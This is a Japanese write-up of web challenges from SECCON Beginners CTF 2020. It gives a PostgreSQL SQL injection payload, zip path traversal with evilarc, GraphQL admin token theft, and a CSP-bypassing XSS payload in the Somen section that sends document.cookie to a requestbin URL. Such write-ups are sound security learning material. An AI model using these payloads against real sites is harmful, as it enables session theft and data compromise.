Beginners CTF 2020 writeup
1日目にwebだけ参加していました。
Spy
dbに存在するアカウント名を当てる問題。 hashの計算をしているみたいだったので、length extensionか何かかなと思い放置していたらチームの人が解いてくれてました。 アカウントが存在する場合の方がhashの計算に時間がかかるので、それで推測する問題だったようです。
Tweetstore
SQL Injectionの問題。 FLAGはDBのユーザーらしい。
dbuser := os.Getenv("FLAG")
type Tweets struct { Url string Text string Tweeted_at time.Time } var sql = "select url, text, tweeted_at from tweets" search, ok := r.URL.Query()["search"] if ok { sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'" }
goのこの部分のsqlを組み立てている部分でなんとかする問題。
' union select 1,1,1 ; --'
とかを入れるとエラーが出て(おそらくrows.Scanの型変換の部分)、クォートが使えないので文字列やTimeを作るのが少し面倒だった。concatとnowでなんとかなった。postgressqlなので getpgusername()
とかでユーザー名が取れる。
'+or+1=1+union+select+concat(1),+getpgusername(),+now()+;+--'
unzip
phpのZipArchiveでzipを解凍するサービス。
unzipしたものを /uploads
以下に配置してくれるので、zipのファイルパスをいじってディレクトリトラバーサルが可能。
ただflagの位置が分からず、phpのファイルを置いて実行させるのも難しそうだったので放置していたら、ヒントでdocker-compose.ymlファイルが貰えたので以下でファイルパスをrootにしたらflag.txtが見れた。
./evilarc.py flag.txt -d 10 -o "unix"
https://github.com/ptoomey3/evilarc
profiler
graphqlの問題。
適当にユーザーを作成し、GetFlagを実行すると以下のように言われる。
get-graphql-schemaでschemaを取得すると以下のようなschemaが取得できる。
$ npm install -g get-graphql-schema $ get-graphql-schema https://profiler.quals.beginners.seccon.jp/api type Mutation { updateProfile(profile: String!, token: String!): Boolean! updateToken(token: String!): Boolean! } type Query { me: User! someone(uid: ID!): User flag: String! } type User { uid: ID! name: String! profile: String! token: String! }
GraphiQLのHeaderにCookieを入れて、someone(uid: ID!): User
を実行してみる。
someone(uid: "admin")
でadminのtokenが得られる。
{ someone(uid: "admin") { uid, profile, name, token, } } { "data": { "someone": { "name": "admin", "profile": "Hello, I'm admin.", "token": "743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b", "uid": "admin" } } }
使われていない updateToken(token: String!): Boolean!
でtokenをadminのものに変えて、 {flag}
でflagが取れる。
mutation { updateToken(token: "743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b") } { "data": { "updateToken": true } }
{flag} { "data": { "flag": "ctf4b{plz_d0_n07_4cc3p7_1n7r05p3c710n_qu3ry}" } }
Somen
問題は以下の部分。
<?php $nonce = base64_encode(random_bytes(20)); header("Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='"); ?> <head> <title>Best somen for <?= isset($_GET["username"]) ? $_GET["username"] : "You" ?></title> <script src="/security.js" integrity="sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A="></script> <script nonce="<?= $nonce ?>"> const choice = l => l[Math.floor(Math.random() * l.length)]; window.onload = () => { const username = new URL(location).searchParams.get("username"); const adjective = choice(["Nagashi", "Hiyashi"]); if (username !== null) document.getElementById("message").innerHTML = `${username}, I recommend ${adjective} somen for you.`; } </script> </head>
security.js
は以下で、username似英数字以外が含まれているとerror.php
に飛ばされる。
console.log('!! security.js !!'); const username = new URL(location).searchParams.get("username"); if (username !== null && ! /^[a-zA-Z0-9]*$/.test(username)) { document.location = "/error.php"; }
とりあえず、titleタグを閉じ、以下のように中途半端なscriptタグを置くことでその次のsecurity.jsを呼ばないようにできる。
</title><script a
また、idがmessageのタグを作ることで任意の場所にusernameを入れることが出来る。
ab</title>cd<div id="message">ef</div><script a
scriptタグがbody以下移動してるのはdivタグをbodyに入れようとしたからだと思われる。divをscriptにして以下でalert()が実行される。
alert(1)//</title><script id="message"></script><script a
あとはcookieを送るだけ。
location.href=`http://requestbin.net/r/ryqf7zry?${document.cookie}`//</title> <script id="message"></script><script a